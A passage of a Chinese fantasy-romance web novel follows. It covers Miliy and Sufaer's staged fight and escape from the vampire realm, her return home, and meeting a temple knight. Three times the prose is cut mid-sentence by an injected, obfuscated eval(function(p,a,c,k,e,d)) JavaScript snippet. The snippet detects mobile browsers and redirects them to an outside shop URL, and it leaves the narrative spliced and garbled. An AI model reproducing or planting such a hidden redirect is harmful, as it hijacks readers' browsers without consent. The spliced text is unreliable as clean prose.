这些话咪莉骂不出来,因为一张口她就噗嗤噗嗤地往外喷血,大量血液落到她胸口的白色领子上和黑色的大理石地板上,鲜艳的颜色触目惊心,她感觉到自己心口处有一股强势的力量在攻击她的心脏,令她痛到头晕目眩,没晕倒都是因为她现在非常火大,憋着一口怒气强撑。 “嗯,为了不让你说出我的秘密,我只好这么做了。”苏法尔惋惜地摇头,就像是迫不得已才这样做,他再次抬手,一个闪身到了咪莉面前,裹着黑暗力量的右手朝她袭去。 奥倾抱着她立刻闪到其他地方:“苏法尔,她是你妻子。” “我知道。”苏法尔的神色中完全没有半分动摇,甚至浑身的力量都越加浓郁起来,他的身体几乎被裹着一层黑色光芒,发丝和风衣也无风自舞,“咪莉,对不起,我必须杀你。” 他的魔力释放到接近极致,在场的人都能看出他杀人的决心。 “天哪,这是家暴现场吗?我们要不要劝劝?” “什么家暴,这是杀人!这个人什么来头,竟拥有这么强大的魔力,是半神?” “从力量上来看,成为半神魔法师应该已经很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说是做戏,但咪莉可是完全失去理智般朝苏法尔攻击,他的胸口,脸上,脖子,肚子,只要是脆弱的地方都被咪莉攻击到非常严重的程度,衣衫都几乎被她手中的火焰灼烧成灰烬。 “她真彪悍啊,把一个半神级的黑暗魔法师打得浑身是伤。”埃比茨此时已经不慌了,因为怎么看都是咪莉处于上风。 奥倾没有理会他,总觉得哪里不对劲,当苏法尔和咪莉打到一处高耸入云的樟树下时,苏法尔忽然闪到咪莉身后,抓着她的肩膀使用了瞬移。 “不好。”奥倾终于察觉到了什么,血族地界可以施展短距离瞬移,但却无法去到外界,想要从血族直接离开,必须通过血族独有的魔法阵。 而在这座大殿之外的庭院尽头,那个高高的石台上,有个可以通往外界的秘密魔法阵,但启动条件极为苛刻,需要至少两个半神级的魔法师注入魔力。 苏法尔是,但咪莉不是,他们逃不掉的。 奥倾急切地瞬移来到高台的入口处,只见苏法尔躺在那个刻有隐藏魔法阵的地方,看他狼狈的身形,应该是被咪莉压制在了那里。 咪莉此刻就像个暴走的野兽,嘴里愤怒地叫喊着冲苏法尔挥拳,被苏法尔接住一拳时,苏法尔虚虚地扯着渗血的嘴角笑了下,不知道对咪莉说了什么,咪莉的表情猛滞一瞬,似时羞怒地举起凝聚她全身魔力的右拳朝苏法尔身上砸去。 但她速度较慢,比不上身经百战的苏法尔,他侧了下身体,让她的威力巨大的拳头落在了石台上,原是平滑光整的地板顷刻显露出一条条冒着白光的魔法刻纹。 “这是?” 咪莉诧异地看着这一变化,没注意到苏法尔已经抓紧时间站了起来,双手施出两团黑色光球,用力砸向白光流转的魔法阵中心。 白色光芒瞬间从地板刻纹中升腾起强烈的光条,环绕在四周的纹路,包裹着他们。 等奥倾和埃比茨赶过来的时候,他们已经离开了血族,从施法到传送的这整个过程只在眨眼间。 46.顺利回到自己的时空 咪莉和苏法尔两人被传送到了人界与血族的交界森林出口。 “呼,成功出来了。”苏法尔脸上洋溢着一种小男孩看到酷酷的小跑车那种开心表情,他甩了甩手上的血珠,回头对依旧在傻眼中的咪莉笑了下,“我们得快点离开,这个距离他们还是非常容易捉到我们的。” 他的身上看似好多伤口,但实际上只有衣服被轰炸得破损,只有腰上那一道几乎横跨半个腰腹的裂口比较醒目惨烈,是他故意没有用护盾让咪莉伤到的,但伤口很浅,血早已凝固。 咪莉呆滞地看了他一眼,又看看这片浓绿的森林,终于明白过来苏法尔好像做了个什么逃跑计划,但她不知道。 她垂眸看着苏法尔被自己伤到的地方,拳头忍不住颤抖地握着。 她当时伤到苏法尔的时候自己都愣住了,心脏就像被人瞬间捏紧一样疼到窒息,可他却丝毫没有犹豫地打向自己,所以当时就越发失去理智般狂怒,魔法凝聚成的水刃毫无章法地冲向他,她知道苏法尔可以躲开的,所以才使劲全力发泄着内心受到的憋屈和狂躁。 咪莉冷冷打开苏法尔牵过来的手,狠狠瞪他一眼后先他一步使用瞬移快速离开了这里。 体内的魔力充沛到几乎无穷无尽,这是她从来没有感受过的,曾经那团小小的软软的像小动物般的神力此刻已经不见,变成了柔缓轻盈的一股力量充斥在她的血液里,只要稍微一凝精神,就能瞬间聚集出一团比平常威猛数倍的魔法光球。 这是怎么一回事?这种变化是在苏法尔打了她一下后出现的,难道跟那一掌有关? 咪莉正想着,走了两步准备继续瞬移时,被身后一直沉默不语的苏法尔抓住了手腕:“已经可以了,他们不会太紧追的。” 咪莉从他手中挣出来,即使知道这一切很可能是苏法尔的计策,但还是非常生气:“这到底怎么一回事?” 苏法尔的目光却落到她的心口,用一种他从来没有过的轻柔语气问道:“还疼吗?” 他的这种难以言喻的温和目光就像某种开关,打开了咪莉心中一直无法完全发泄的情绪,顿时冲他嚷嚷:“疼!很疼!我吐了好多血!”说着她的眼睛又开始湿润。 幸好这一切都是做戏,他不是真的要杀自己,看着身上白衬衫被血染了大片的苏法尔,她气也消了大半,他伤得比自己还重,她身上的伤处已经不怎么疼了,难受的是心里。 见咪莉咬着唇泪珠在眼眶里打转的委屈模样,苏法尔忙把她抱在怀里,用下巴轻轻蹭蹭她的头顶:“对不起,那一掌是为了快速让你体内的神力与你的身体彻底融合。” 彻底融合?难道他不准备取神力了吗?所以他还是打算要找另一个圣女合作了吗…… 咪莉恶狠狠地立刻推开他,用手抹掉眼角的泪,她的眼神就像被人遗弃般怨恨,但她看不到自己的表情,不知道自己此刻有多像个抓丈夫奸情的怨妇。 苏法尔被她看得有些不自在,“唔”了一声继续解释道:“启动那个魔法阵需要强大的神力,单靠我不一定能成功,所以我当时才会那样做。” 咪莉咬着唇肉盯着他,怨气冲天地问道:“你怎么知道那里有个魔法阵?” “关于血族的历史书中记载过,我也是昨晚被带去杂物间时顺便探查了下。” “这么说你昨晚就开始计划了?”咪莉更加暴躁地握紧拳,“那你为什么不早告诉我?!” 告诉她的话她就可以配合,而不是傻傻地什么都不知道。 苏法尔为难道:“你演技不行。” “……”咪莉忍住心底的暴戾冲动。 “而且刚刚我在大殿对你使了眼色,但你没接收到。” “什么?”咪莉想起当时苏法尔好像握住她的手在她手心里挠了挠,还对她眨眼,“所以当时你不是在跟我炫耀你那水灵灵的大眼睛?” 这下轮到苏法尔无语了,他忍不住笑了下,结果扯到身上的伤口,龇牙咧嘴了一会儿才慢慢说:“你现在还疼的话,可以用治愈魔法治疗自己,你已经融合了圣女神力,可以使用治愈系魔法了。” 他念了一个简短的咒语给咪莉学,咪莉对自己使用后,胸口的轻微钝痛感也消失了,不由大喜,这下她以后再也不用担心自己受伤了。 她看看眼前浑身狼狈的受伤男人,也后知后觉明白苏法尔对自己放了多大的水,他活了一百多年,战斗如吃家常便饭,怎么可能会被自己伤到,也就那些不了解她和苏法尔实力的人才不会怀疑,那一道腰上的伤也只不过是为了让戏更真。 “我不会给你治疗的。”咪莉翘着下巴就往前走,他们现在已经来到了一座城镇,天气有些不好,冷风夹着些毛茸茸的雨丝不着痕迹地融进人的衣服和头发上。 苏法尔不会治愈魔法,他无法给自己疗伤,只能这样一身惨兮兮地跟在咪莉身后,也没有强迫要求咪莉给他治疗。 她一定还在生气的,他还是不要再激怒她比较好。 咪莉的模样也好不到哪里去,她的裙子上是自己吐的大片血渍,身后又跟着一个穿得堪比乞丐的男人,自然受到了街上行人的高度注目礼。 咪莉丢人地赶紧找了家商店进去买衣服,随便拿了一件长袖的白裙,苏法尔也找了两件简单的衬衫和长裤,店员惊恐地看着这两位满身是血的客人,根本不敢上前招待。 苏法尔一路下来一直没说话,只有在付款的时候对店员微笑着说了声“谢谢”。 咪莉听出了他声音里忍耐的虚弱,大概是伤在柔软的腰腹,呼吸间会微微扯到,所以才会有些难以掩盖,他一向很会忍痛的。 咪莉不禁微微皱眉,到底是心软。 算了,苏法尔也是为了他们成功逃脱,这样僵着两人都受罪。 在走出店门后,她冷着脸让苏法尔跟她到一个没人的街巷里。 咪莉身上没有伤口,在店里试穿时就已经直接换上了那件裙子,她没有勇气再套上那件血淋淋的衣服。 苏法尔没有换,装有新衣服的纸袋子被他提在手中,他得处理一下伤口才能换上新的,不然又得弄脏。 “我也不是那么不讲情理的坏人。”咪莉抬手施了两团柔白的光芒覆向苏法尔腰上的伤口,“反正我们总要分道扬镳的,你不跟我讲你的计划,我也无所谓了。” 她依次治愈着苏法尔身上的伤口,抬头时却发现苏法尔正一直默然地看着她,脸上没有一丝笑意。 “怎么了?”她被他这种莫名其妙的眼神看得不自在。 苏法尔弯了弯唇,黑眸里竟有些冰凉:“我们抓紧时间收集材料吧,尽快离开这里。” 然后他看着咪莉,双眸就像有着磁力般紧紧黏着咪莉:“这也是你想要的。” 咪莉的心登时一沉,觉得苏法尔变了些什么,这种变化让她有种无所适从感,就像有无数虫子啃咬着她的心。 苏法尔找了家旅馆,洗去那一身污渍后换上衣服,明明是随便从货架上的一堆衣服里拿的一套衣服,穿在他身上就多了分随性青春的气息,搭配那张漂亮的脸蛋,说不出的孩子气,可他身材又偏偏那样高大成熟,又矛盾又完美融合。 “走吧。”苏法尔把换下来的脏衣服丢进垃圾桶,拿了个背包装了一些透明玻璃瓶。 咪莉点点头,跟着他离开旅馆,只去了两个地方收集材料,一个是海亚比德深海里的珠贝母,一个是希水原野上白鹿的眼泪,其他的只需要在材料铺中买就可以。 咪莉原以为要下海,结果苏法尔只是双手像音乐指挥家那样施展着魔法就将深海之中的巨大蚌壳给吸了上来,还有白鹿的眼泪,拿到的方式也是非常惊世骇俗。 咪莉以为苏法尔会用辣椒水逼出白鹿的眼泪,结果他提着白鹿美丽的脖颈面无表情地扇了这只白鹿两巴掌,然后淡淡吩咐道:“给我哭。” 天很蓝,草也很绿,白鹿如其名一样浑身雪白漂亮,一双乌黑的眼眸汪汪水润,可如此美丽的生物却被一个同样英俊的男子扇了两巴掌,这场面要多诡异有多诡异。 “它要哭了,来接住它的眼泪。” 苏法尔说完,惊如雕塑的咪莉立刻打开玻璃瓶的塞子蹲下去双手去接白鹿眼中滑下的透明泪水。 “你真可恶啊,用这种方法。”咪莉边接边摇头。 苏法尔优雅一笑,如果忽视他此刻正拎着白鹿脖子这种粗鲁动作的话,他纯净的笑容在这片一望无际的草原上一定比太阳还耀眼:“能达到目的就行,不论手段。” 是啊,你一直就是这样的人。 咪莉在心中叹了口气,感慨自己和苏法尔待久了,也差点忘了他恶霸的本性了。 他们收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她迫不及待地冲进店里,就看见一道女性身影正准备掀开垂满粉色珍珠的珠帘要进到后室去。 “妈妈……”咪莉很想控制住自己的情绪,她努力扯着嘴角笑,不想让自己妈妈担心自己。 咪莉的妈妈——雪莱听见这道娇软的声音,身子明显僵了一瞬,她穿着一身平民里常见款式的灰绿色绒裙,栗色的长发盘成一个发髻在脑后,头顶戴了一条同样灰绿色的布条压在厚厚的头发间做装饰。 她转过身来,手里端着一个收纳筐,里面装了一些光滑但不怎么规整的乳白色玉石子,看见咪莉慢慢走来时,收纳筐掉在了地上,里面的石子也噼里啪啦掉了一地。 “咪莉……”雪莱快步走过去,也没管脚下踩到的石子,“孩子啊,你怎么才回来?知不知道妈妈有多担心你?妈妈可真是急坏了啊……” 雪莱看起来也是在极力控制情绪,但还是忍不住掉了几颗泪,自顾自说了一大堆话才让咪莉插得上几句话。 咪莉红着眼眶说自己没事,为了不让妈妈担心,她撒谎骗妈妈说自己遇到了很好的人把自己送了回来。 那些离奇曲折的事,咪莉实在不愿意说出来让自己妈妈跟着担惊受怕。 “那你奥倾哥哥呢?他说去找你,怎么没见他一起回来?”雪莱朝门外张望了一下。 咪莉也是这时才想起苏法尔,她回头准备喊苏法尔,却发现店内没有他,她跑了两步在店门口左顾右盼,也没看见他的身影。 这个家伙又跑去哪里了? “咪莉?怎么了?”雪莱在后面唤着咪莉。 咪莉疑惑地挠挠头发,走了回来:“奥倾哥哥的事,我晚点再说吧。” 雪莱抚摸着咪莉的脑袋,碧绿的眼里满是担忧:“你总是让人这么担心……对了,光明神殿的骑士大人们来找你了。” “光明神殿?” “嗯,听说你被选为圣女了?”雪莱拍拍咪莉的手背,叹息道,“圣女很辛苦,我们咪莉都还是小孩子,怎么去照顾那么多人呢?这圣女能不能不做?” 咪莉噗嗤笑了一下,她也想做个普普通通的人,过简单的日子,只是这一切好像都晚了。 她的生命里被强硬地挤入了他们,真的还能回归于平静吗?她不清楚。 “雪莱夫人,圣女一职是神圣伟大的天职,可不是轻易就可以不做的哦。”一道年轻男声从珍珠帘子后面传出,带着些俏皮。 咪莉惊讶地探头过去,看见了一个穿着纯白色骑士制服的年轻男子走了出来,他有一头灿烂的银色短发,天蓝色的琉璃眸子纯净又美好,整个人都洋溢着烂漫朝气的气息。 雪莱忙起身拉着咪莉的手说:“咪莉,正准备跟你说,这位就是光明神殿的骑士长大人,莫鸦大人。” 47.你喜欢我吗? 咪莉从来没有见过这么纯净清澈的男孩子,雪白的一身让他好比天使般优雅高贵。 她拘谨地跟莫鸦打了个招呼,莫鸦冲她微微一笑,向雪莱问了好,然后单独带咪莉去后室说明了自己的来意。 他说这次来是要带她去大陆的中心圣光城正式入职圣女,只是一周前到这里后没有见到人,才在这里多住了几日,他的同伴博安住在邻街的旅馆中。 咪莉了然地点点头,只是要求想多留几天,她刚回家,想和家人多待一段日子。 莫鸦也很通情达理地同意了,并且说塔朗镇是个很安逸的地方,他也想在这里多住几天。 面对这么善解人意言语亲切的男孩子,而且还带有一种慈祥和蔼的目光,咪莉倒觉得不好意思了,觉得对方肯定是把自己当成小孩子一样哄了。 晚饭的时候,因为咪莉的归来,雪莱做了不少咪莉爱吃的饭菜,平日在街上饭店用餐的莫鸦和博安今晚也留了下来。 只是苏法尔依旧不见人影。 咪莉这顿晚饭吃得心不在焉,饭桌上应付着妈妈不知说过多少遍的教导,偶尔回应莫鸦的一些问题,等到天彻底黑下来,准备收拾桌子时,莫鸦热情地要帮忙,雪莱把他往外推,说哪能让客人洗碗。 博安也是如此,当然结果是一起被赶。 莫鸦摸着自己的头发有些不好意思,几次都没成功进到厨房,只好不再坚持,回到给他收拾出来的客房休息,博安和他一起回去房间说着什么事。 咪莉和她妈妈在厨房洗着餐具,心里仍然在想着苏法尔到底去了哪儿,为什么不说一声就消失不见了。 她的心里有一团不安在慢慢滋生。 收拾完厨房,雪莱摘下围裙,叫住准备去店门口看看的咪莉说:“咪莉,跟我来房间吧,我告诉你亲生母亲的事。” 咪莉惊诧地回头,久久都不知道说什么,只是沉默地跟着妈妈去房间里。 雪莱从抽屉里拿出一张薄薄的掌心大小的相片,由于胶片劣质,上面的色彩已经模糊相连,像用了颜料胡乱涂抹,看不清上面人的原本面容了。 “这是你亲生妈妈,伊瑞妮。”雪莱把这张久远的照片递到咪莉手里,“年纪轻轻就患上了奇症,生下你没多久就去世了。” 咪莉低头看着手里这张照片,背景是在一个照相馆中,伊瑞妮的脸虽然看不清了,但可以看出她大概的妆容,乌黑的长发带着些微卷自然垂在身上,穿着一套上下两件式的紫色绒裙,除此之外没有任何装饰,翘起的嘴角和微歪的脑袋可以看出她当时拍照时的心情特别好。 “巫师说你十八岁时会有灾祸降临时,伊瑞妮就开始准备分离你灵魂的计划了。” 雪莱声音很轻,在白炽灯下有一种悠远清软的叹息感:“她把你的灵魂一分为二,一半没有意识的副魂寄宿于一具傀儡体内,一半主魂留在你本体内,本是等你过了十八岁,十九岁的时候才会自动融合,却没想到因为琉莎的事让你提前融合了,也没想到你会被选为圣女。” 雪莱看了眼咪莉,又低下了脸:“咪莉,对不起,现在才告诉你真相。” 咪莉摇摇头,抬起脸时,眼睛有些湿润,见妈妈一脸落寞的神情,她靠近了妈妈一些,双手抱住她的腰,在她肩上闭上眼睛:“不要这么说,妈妈又没有错。” 谁都没有错,要怪就只能怪无情的老天爷对自己亲生妈妈不好,让她这么快就离开自己。 咪莉一向坚强,不怎么向妈妈展露自己脆弱的一面,但当她抱住雪莱的那一瞬,泪水还是决堤了,雪莱轻轻拍了拍她的背,说她的灾祸过去了。 咪莉咽了咽喉咙的酸涩,努力压下不断涌出的泪水,在妈妈肩上点点下巴:“嗯。” 她的灾祸应该是指的琉莎杀害她这件事。 平缓了好大一会儿,咪莉抹掉脸上的泪,从雪莱怀里出来,垂下红通通的眼睫尽量用自己最正常的语气说:“琉莎现在怎么样了?” 雪莱见咪莉眼睫毛湿漉漉的,也是忍不住哽咽,摸了摸她的脑袋:“因为当时找不到你的尸体,无法定罪,琉莎被关进了城里的大牢里监管,现在你回来了,应该会推动案件了。” “琉莎会怎么样?” “我问过城主大人的使吏,如果你是死亡,琉莎会被流放到一座矿山做奴役,如果你是受伤的话,根据你受伤的程度关押五年到十年有期徒刑。” 咪莉若有所思地点点头,她还是没有记起琉莎什么时候跟她说过喜欢奥倾的话,她打算明天去看看琉莎。 两人在房间里聊了很久,最后是以妈妈的“不要太辛苦”为结尾。 咪莉从妈妈房间里出来后,外面忽然起了一阵大风,吹得院子里的大片蒲叶沙沙响,而雪莱对面的亮灯房间就是莫鸦居住的客房,她看过去后,对面那扇窗子正好被推开。 莫鸦从里面探出头来,瞧见了站在走廊下的咪莉,有些欣喜地睁大些眼睛:“咦,咪莉刚从你母亲房里出来吗?看来聊了很久啊。” 咪莉对他腼腆地笑笑,说了几句话,就回去了店铺里。 店铺的门半掩着,挂着歇息的牌子,这阵忽来的狂风吹得整条街都变得萧索起来,天上的星子和也不见了,月牙被浓云遮掩起来,只有淡淡的街灯和每家阁楼的灯光映衬着这片如浓墨的天穹。 咪莉在门口站了一会儿,始终没等到谁,她搓了搓有些变僵的手回去关店门,心里怪道这里的天气从来没有这样阴冷过的。 回到房间里,咪莉瘫倒在自己久违的摇晃小木床,黑发凌乱地铺在印有小山梅花的床单上,她望着天花板,终于有了一种落地感,那些颠沛流离的日子真是一场不切实际的奇梦一样存在脑海里。 但是苏法尔,你去哪儿了? 银色的烛台燃着水晶石灯,小小的光晕映在紧闭的双扇窗上,她住的二楼,窗子外面便是微微嘈乱的大街。 咪莉在床上滚了两圈,闻着被子上熟悉的清新花香,终于是驱散了些心底的隐隐不安感,她坐起来挠了两下头发,去衣柜里拿出换洗衣服准备去洗澡,却在床边脱衣服到一半时,好像听见窗户那边有什么动静。 她的裙子掀到了一半,从手臂缝隙里看见窗户从外面被打开了。 苏法尔一只手扣着窗框,一只手按在窗台上,爬窗的一条腿抬进来一半,便看见咪莉环着双臂将裙摆掀到腋下的姿势。 “唔,我好像来的不是时候。”苏法尔这样说着,却直接跳了进来,把窗户合上,站在那里含笑看着。 咪莉愣愣地眨了眨眼,一整个晚上的魂不守舍终于在看见苏法尔后人魂合一了。 她尖叫着放下裙摆爬到床上用被子裹住自己,惊怒交加:“你在干什么?!” 又想到他一整个下午都不见人影,又立马掀开被子下床追问:“还有你去哪里了?为什么一声不吭就消失啊!” 苏法尔伸手理了理咪莉脑袋上翘起的几根炸毛笑说:“不想给你添麻烦,难道你要跟你妈妈介绍说,我是你丈夫吗?那奥倾呢?” 咪莉没料到他会这样说,她心里不太舒服,偏过脸说:“看不出来你还是个会为别人着想的人,还有你明明知道奥倾他……” 咪莉愤恨地转身走到床边,拿起枕头砸了一下床:“你故意取笑我,取笑我傻,被男人骗对不对?” “我没有这样想。”苏法尔轻轻滚动了下喉结,也收敛了笑意,“是你一直忘不了他,咪莉。” 咪莉像被说中心事一样,她低下头,抱着枕头坐在床边一言不发。 苏法尔走到她面前,看着她小巧的鼻尖和颤悠悠的清秀睫毛,想要开口说什么时,听见咪莉说:“早晚会忘掉的。” 她不会再喜欢奥倾了。 苏法尔心一动,眼眸微微暗了一些,伸手捋正她肩上的裙带说:“要洗澡是吗?去洗吧,我等你出来。” 咪莉搂着枕头抬头不太高兴地说:“你还没说你消失去哪里了。” “我下午就在街头的咖啡店里坐着,晚上在隔壁吃的快餐。”他有些感伤地望着天花板上的淡淡花纹,“其实只要你稍微找一找,就会发现我的。” 咪莉一怔,随即解释道:“我哪有时间找你……”又像是掩饰什么,快速补充:“我才不会找你。” 她把枕头丢到床上,站起来说:“那你现在来这里是做什么?” 已经回到这个时代了,还会取她神力吗?其实想想,苏法尔主动为她融合神力,就已经说明他不会再取了,这也是她一直不安的理由。 苏法尔回望着她,黑色的眼睛像珍珠般充满光泽,他每次这样沉默的时候,都会让咪莉止不住地心神不宁,他的眼睛总是这样充满魔力,诱惑着她沉溺其中。 两人无声了好久,苏法尔笑了一下说:“钱花光了,晚上没地方睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335480|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 咪莉的五官顿时皱在一起。 她的床太小,苏法尔和她躺在一起显得很拥挤,翻个身都能蹭到对方的胳膊。 咪莉的睡衣是宽松细带裙,苏法尔每次一动,两人胳膊都会贴在一起,细嫩的肌肤被他洗完澡后重新穿上的衬衫布料磨着,身体就会浑身不自在,脸颊烧得火热。 咪莉翻个身背对了他,把手掌压在脸下降温,奈何手也是火热一片。 太热了,一定是两个人睡太拥挤了才会这样。 咪莉呼了一口气下床说:“我去拿些冰水喝,你要喝吗?” 苏法尔躺在床上应了一声。 咪莉在楼下先喝了大半杯柠檬水才重新接了一杯上来,苏法尔已经坐在了床上,两手放在膝盖上,垂着脸发呆。 “冰加的不是很多。”咪莉把水给他,然后回到床的另一边坐进被窝里,但她发现刚刚在楼下喝了半杯冰水好像并没有降温,她现在听着苏法尔咕咚咕咚喝水的声音又开始脸臊起来了。 她到底是怎么了? 咪莉躺下后拽了拽被子说:“苏法尔,你热吗?” 苏法尔把剩下的一半水放到床头,也跟着躺下去:“好像是有点热。” 咪莉左思右想,终于给她找出一个理由来:“啊,大概是因为灯还没关,我去关灯!” 然后她噔噔噔起来去关灯,屋子里顿时陷入一片漆黑,她心跳不稳地又回来,但因为太过着急,回来的时候踢到了床脚,痛的她绊倒在床上。 柔软的被褥下,是苏法尔的身体,咪莉不知道按到了什么,苏法尔急剧地往后躲了躲,然后在黑暗中问她:“没事吧?”声音听起来也有些不稳和尴尬。 咪莉郁闷地双手双脚并用地爬上床,掀开被子躺进去呜呜呀呀哼唧:“嗯……没什么大事,就是脚趾头有些疼。” 她蜷缩在被子里握着脚丫揉着脚趾头,下一秒苏法尔的身体就贴了上来,手伸下去摸到咪莉揉的那只脚说:“我给你揉揉。” 咪莉松开手从喉咙里懒懒地应了一声,她现在的姿势特别像一个被抱在怀里的婴儿,十分有安全感。 “还疼吗?”苏法尔轻缓地揉着她柔嫩的脚丫,得到她不怎么疼了的回答后,他的手心展开,一寸一寸地由她脚趾移到她的脚心,再慢慢往上,握住她纤瘦的脚踝。 咪莉被他的动作弄得脚心发痒,四肢都像被电流窜过一样发麻,她觉得现在的状态很奇怪,小狗呜咽般哼唧了一声,在他怀里翻了个身,和他面对着面,昏暗的室内,她完全看不见对方是睁着眼睛还是闭着眼睛。 “你想好接下来怎么救你父亲了吗?”她找着话题闲聊。 苏法尔把手放到了她的腰上,声音在夜里显得格外寂淡:“嗯。” 他没有多说,咪莉也明白她再问也问不出什么了,便垂下眼睫在被子里扣着手指头发呆。 当她还想说什么时,苏法尔却忽然起身说:“我还是在地板上睡吧,床太小,你睡得会不舒服。” 随后是他走动的脚步声,开灯声。 咪莉半撑起了身子,和站在电灯开关处的苏法尔无声相望着,她又觉得苏法尔在疏远她了,完全没有理由般。 苏法尔拿了一套单薄的地毯铺在床边,咪莉什么也没说地分给他一只枕头,拿出一床被子给他,然后回到床上躺下,期间一句交流也没有,空气里弥漫着一种死水凝滞的沉闷感。 苏法尔关了灯,躺进地铺里,在黑暗里睁着眼睛。 他夜能视物,刚刚自然把咪莉眼里低落的情绪看在眼里,他很想开口问问咪莉喜不喜欢他,但他竟然会感到害怕,怕得到一个不想听的答案。 艰难险阻从不畏惧,却会害怕女孩子的一句话。 等过了好久,苏法尔才从地上起来,坐到床边凝视着咪莉的睡颜,他不知道咪莉有没有睡着,只是急迫地想要听到这个答案,但又害怕咪莉听到他的问题,他用很轻很轻的声音,几乎自言自语般悄悄地问:“你喜欢我吗?” 他没有得到回答,咪莉的脸庞甚至没有一丝变化,她睡得很熟。 第二天的清晨,第一缕阳光掠过无数楼顶落进咪莉的房间内时,咪莉像从梦中惊醒般猛然睁开眼睛,双眼无神地发了会儿呆,才想起什么赶紧坐了起来。 地上已经没有了人,连被子地毯都叠好放在了她的椅子里,苏法尔又不见了。 48.喜欢又有什么用 早上起来后,咪莉简单吃了顿早餐,莫鸦是个很善谈的人,在饭桌上对咪莉讲了许多关于圣光城和光明神殿的事情,还有她未来在光明神殿任职的一些具体内容。 如果是平时,咪莉一定会听得津津有味,但现在她心里装满了各种事情,她情绪不太高涨。 莫鸦看出了咪莉有些勉强的回应,见雪莱已经去前面店铺里忙活,便神秘一笑道:“你结过婚啦?” “嗯?”咪莉惊讶地看着他,“你怎么知道?” 莫鸦嘻嘻笑道:“昨天晚上我听见你在房间里大叫了一声,以为出了什么事,但来到你门前后,听到了你和那个男人的对话。” 他挑挑眉为自己解释:“我可不是故意要偷听墙角的。” 咪莉讪笑着抓抓脑袋:“没关系,你也是好心。” 莫鸦用手撑着下巴懒洋洋道:“听见你和他认识,还是夫妻关系,我就没打算进去看看你了,当然我也只听到了这里。” 咪莉有些黯然地低头,看着碗里还剩下的一只金黄煎饺:“我和他的关系有些复杂,是结过婚的。”但也马上要离婚了。 现在苏法尔种种表现和态度都在说明他会和她分开,而她的心底竟然是抗拒。 她喜欢上了苏法尔。 如果苏法尔告诉她复活计划,她想她会主动帮忙的,可他什么都不说,把她排斥在外。 莫鸦看着这个好似为情所困的女孩,安慰她道:“你们的事我也不清楚,不过过两天的启程,他会陪着你去吗?你第一次上任,丈夫陪着应该更让你安心吧。” 他的态度显然把咪莉当成了一个离不开妈妈或者丈夫的孩子,咪莉抬起头苦笑道:“没关系,我自己也可以的,我可没那么娇气。” 她不能再被看做成一个被呵护的女孩儿了,她是被人类信仰的圣女,要背负许多责任的大人,再这样被人看扁,她都抬不起头了。 面对莫鸦的关心,咪莉对他感激地道了谢,吃掉碗里的煎饺,喝完虾粥,起来收拾饭桌。 莫鸦一如既往地要帮忙,咪莉跟她妈妈一样,把莫鸦赶了出去。 上午忙碌到将近九点钟左右,咪莉打算去一趟学校,她的突然消失应该让老师比较担心。 莫鸦本要陪同她,咪莉说自己去就好。 走在愈渐热闹的街巷中时,咪莉特意留心了附近,尤其一些书店、咖啡馆和快餐店这些可以让客人长待放松的地方。 但很可惜,没有见到她心中一直念着的人,倒是有许多街坊邻居见咪莉回来了,都盛情拉着她问她这些天去哪了,看他们高兴的表情,应该是不知道自己出事的原因。 咪莉一一回复了他们几句,然后朝学校方向走去。 今天是周二,这个时间点学校还在上课,她找到老师办公室,老师又是惊喜又是激动地拉着她的手说了一大堆话。 老师是个戴着眼镜的金发男人,脸颊有些瘦,身材细长,显得他很孱弱。 咪莉有些不知所云,等老师语无伦次地说完后,她终于理清了些信息。 原来学校在得知她是圣女的时候,已经为她提前办理了毕业手续,并且还在学校大门上挂了横幅,说他们学校出了一名济世救人的圣女大人。 咪莉窘迫地从老师手里抽回手,在老师给她的信息表上签上自己名字,按下手印,领到了为她准备好的毕业证书。 老师还说学校会在她回来的时候为她举行一场欢送盛宴,咪莉更是在原地僵化。 听闻咪莉来了学校,各级老师和校长主任领导们都纷纷来见咪莉,把一间办公室围得水泄不通。 “我们班的!哈哈!” “咪莉真是好厉害呢,成为圣女后从不会魔法的小丫头变成高级魔法师了哇!” “是啊是啊,有朝一日就是半神魔法师了!” “咪莉同学,恭喜你成为埃比优大陆最新圣女,既然你回来了,我立刻让人准备明天的盛宴!” 黑色小卷发的校长先生拍着咪莉的肩,非常郑重地点了点头:“你是我们萨利大学的骄傲!” 咪莉的脸都要笑僵了,早知道就让莫鸦陪她一起来了,他那么健谈一定可以为自己挡去许多令人无地自容的交流。 而且这个欢送盛宴,她真的是一点都不想参加。 咪莉看着一众等待自己开口的老师们,有些歉意地笑笑:“校长先生,还有老师们,谢谢你们,不过这个盛宴能不能不办?” “为什么?”校长和老师们吃惊道。 “我不想这么大费周章,就让我安安静静地离开吧。” “哎哎,算了算了,不要勉强我们咪莉同学。” “这怎么行?这可是大事,必须得举办欢送盛宴。” “那咪莉不想参加,可以不参加,学校继续举办就好了!” “这什么话,主人公不在还算什么盛宴?” …… 众人七嘴八舌地讨论着,最终决定学校举办一个盛大的庆典活动,而咪莉无须参加。 咪莉虽然汗颜,但只要自己不参加,学校方面怎么做就随他们了。 经过漫长的一小时后,咪莉才从热情似火的学校使用瞬移逃离,然后准备去看琉莎。 当她出了校门后,身后忽然有人大声叫她,她回头看去,是她家斜对角那家报纸铺的老板女儿,瑟利雪。 